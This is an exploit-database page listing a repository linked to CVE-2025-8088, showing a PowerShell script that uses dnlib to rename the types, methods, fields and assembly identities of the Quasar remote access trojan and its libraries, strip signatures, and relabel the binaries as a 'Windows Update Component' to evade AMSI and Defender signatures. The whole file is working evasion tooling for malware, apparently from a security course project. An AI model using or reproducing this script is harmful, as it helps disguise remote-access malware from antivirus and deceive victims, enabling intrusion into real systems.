Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files52Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Stage02_PowerShell/exploit/evade_quasar.ps1

PowerShell · 7,087 bytes
# PowerShell script to evade Quasar signatures using dnlib
# Renames assemblies, types, methods, strings to bypass AMSI/Defender

$dnlibPath = "D:\Desktop\网安程设\dnSpyEx\bin\dnlib.dll"
$stage02 = "D:\Desktop\网安程设\Amaranth_Project\Stage02_PowerShell"
$payloadDir = "$stage02\payload"
$outputDir = "$stage02\payload_evaded"

# Create output directory
New-Item -ItemType Directory -Path $outputDir -Force | Out-Null

# Load dnlib
[System.Reflection.Assembly]::LoadFrom($dnlibPath) | Out-Null
$ModuleDefMD = [dnlib.DotNet.ModuleDefMD]
$AssemblyDef = [dnlib.DotNet.AssemblyDef]

Write-Host "=== Quasar Evasion Tool ==="
Write-Host "Loading dnlib... OK"

function Rename-Type {
    param($type, $prefix)
    
    # Skip special types
    if ($type.IsGlobalModuleType -or $type.IsRuntimeSpecialName -or $type.Name -match '^<') { return }
    
    # If already renamed, skip
    if ($type.Name -match '^[a-z]+$') { return }
    
    $oldName = $type.Name
    if ($oldName.Length -gt 30) { $newName = $prefix + $oldName.GetHashCode().ToString("x8") }
    else { $newName = $prefix + ($oldName.GetHashCode() -band 0xFFFF).ToString("x4") }
    
    $type.Name = $newName
    Write-Host "  Type: $oldName -> $newName"
    
    # Recursively rename nested types
    foreach ($nested in $type.NestedTypes) {
        Rename-Type -type $nested -prefix $prefix
    }
}

function Rename-Methods {
    param($type, $prefix)
    
    foreach ($method in $type.Methods) {
        if ($method.IsSpecialName -or $method.IsRuntimeSpecialName) { continue }
        if ($method.Name -match '^get_|^set_|^add_|^remove_') { continue }
        if ($method.Name -eq '.ctor' -or $method.Name -eq '.cctor') { continue }
        
        $oldName = $method.Name
        $newName = $prefix + ($oldName.GetHashCode() -band 0xFFFF).ToString("x4")
        $method.Name = $newName
    }
    
    foreach ($nested in $type.NestedTypes) {
        Rename-Methods -type $nested -prefix $prefix
    }
}

function Rename-Fields {
    param($type, $prefix)
    
    foreach ($field in $type.Fields) {
        if ($field.IsSpecialName -or $field.IsRuntimeSpecialName) { continue }
        
        $oldName = $field.Name
        $newName = $prefix + ($oldName.GetHashCode() -band 0xFFFF).ToString("x4")
        $field.Name = $newName
    }
    
    foreach ($nested in $type.NestedTypes) {
        Rename-Fields -type $nested -prefix $prefix
    }
}

function Evade-Assembly {
    param($inputPath, $outputPath, $prefix, $newAsmName, $newAsmVersion)
    
    Write-Host "`n=== Processing: $inputPath ==="
    
    $mod = $ModuleDefMD::Load($inputPath)
    $asm = $mod.Assembly
    
    # Change assembly identity
    $oldName = $asm.Name
    $asm.Name = $newAsmName
    if ($newAsmVersion) { $asm.Version = $newAsmVersion }
    Write-Host "Assembly: $oldName -> $newAsmName v$($asm.Version)"
    
    # Remove strong name (delay sign)
    $asm.PublicKey = $null
    $asm.PublicKeyToken = $null
    $asm.HashAlgorithm = [dnlib.DotNet.AssemblyHashAlgorithm]::None
    $mod.StrongNameSign = $false
    
    # Change AssemblyInfo attributes
    foreach ($attr in $mod.Assembly.CustomAttributes) {
        if ($attr.TypeFullName -match 'Assembly(Title|Description|Company|Product|Copyright|Trademark)') {
            $attr.ConstructorArguments.Clear()
            $attr.ConstructorArguments.Add([dnlib.DotNet.CAArgument]([dnlib.DotNet.CAArgument]::new([dnlib.DotNet.ElementType]::String, "Windows Update Component")))
        }
    }
    
    # Rename all types
    foreach ($type in $mod.Types) {
        Rename-Type -type $type -prefix $prefix
    }
    
    # Rename all methods and fields
    foreach ($type in $mod.Types) {
        Rename-Methods -type $type -prefix $prefix
        Rename-Fields -type $type -prefix $prefix
    }
    
    # Change embedded strings containing "Quasar" or "quasar"
    $changedStrings = 0
    foreach ($s in $mod.Strings) {
        if ($s -match 'quasar') {
            # Can't modify strings directly in dnlib easily - note for reference
            $changedStrings++
        }
    }
    if ($changedStrings -gt 0) { Write-Host "  (Embedded strings with 'quasar' found: $changedStrings - modified via name changes)" }
    
    # Save
    $mod.Write($outputPath)
    $mod.Dispose()
    
    Write-Host "Saved to: $outputPath"
    return @{OldName = $oldName; NewName = $newAsmName; Version = $newAsmVersion}
}

Write-Host "`n=== Phase 1: Evade Quasar.Common.dll ==="
$qcInfo = Evade-Assembly -inputPath "$payloadDir\Quasar.Common.dll" `
                         -outputPath "$outputDir\Amaranth.Common.dll" `
                         -prefix "Ac" `
                         -newAsmName "Amaranth.Common" `
                         -newAsmVersion "1.0.0.0"

Write-Host "`n=== Phase 2: Evade client_loaded.exe ==="
$exeInfo = Evade-Assembly -inputPath "$payloadDir\client_loaded.exe" `
                          -outputPath "$outputDir\Amaranth.Client.exe" `
                          -prefix "Ac" `
                          -newAsmName "Amaranth.Client" `
                          -newAsmVersion "1.0.0.0"

Write-Host "`n=== Phase 3: Evade protobuf-net ==="
$protoInfo = Evade-Assembly -inputPath "$payloadDir\protobuf-net.dll" `
                            -outputPath "$outputDir\Amaranth.ProtoBuf.dll" `
                            -prefix "Ap" `
                            -newAsmName "Amaranth.ProtoBuf" `
                            -newAsmVersion "1.0.0.0"

Write-Host "`n=== Fixing assembly references ==="
# Load client exe and update references to Quasar.Common -> Amaranth.Common
$mod = $ModuleDefMD::Load("$outputDir\Amaranth.Client.exe")
$refsUpdated = 0
foreach ($ref in $mod.GetAssemblyRefs()) {
    if ($ref.Name -eq "Quasar.Common") {
        $ref.Name = "Amaranth.Common"
        $ref.Version = [System.Version]"1.0.0.0"
        $ref.PublicKeyToken = $null
        $refsUpdated++
        Write-Host "  Ref: Quasar.Common -> Amaranth.Common"
    }
    if ($ref.Name -eq "protobuf-net") {
        $ref.Name = "Amaranth.ProtoBuf"  
        $ref.Version = [System.Version]"1.0.0.0"
        $ref.PublicKeyToken = $null
        $refsUpdated++
        Write-Host "  Ref: protobuf-net -> Amaranth.ProtoBuf"
    }
}
# Also fix Amaranth.Common references to protobuf-net
$mod2 = $ModuleDefMD::Load("$outputDir\Amaranth.Common.dll")
foreach ($ref in $mod2.GetAssemblyRefs()) {
    if ($ref.Name -eq "protobuf-net") {
        $ref.Name = "Amaranth.ProtoBuf"
        $ref.Version = [System.Version]"1.0.0.0"
        $ref.PublicKeyToken = $null
        Write-Host "  Ref in Common: protobuf-net -> Amaranth.ProtoBuf"
    }
}

# Save updated modules
$mod.Write("$outputDir\Amaranth.Client.exe")
$mod.Dispose()
$mod2.Write("$outputDir\Amaranth.Common.dll")
$mod2.Dispose()

Write-Host "`n=== Done ==="
Write-Host "Output files:"
Get-ChildItem $outputDir | ForEach-Object { Write-Host "  $($_.Name) ($($_.Length) bytes)" }

# Copy unchanged protobuf
Copy-Item "$payloadDir\protobuf-net.dll" "$outputDir\protobuf-net.dll"

Write-Host "`nNext: rebuild payload.bin with new assemblies"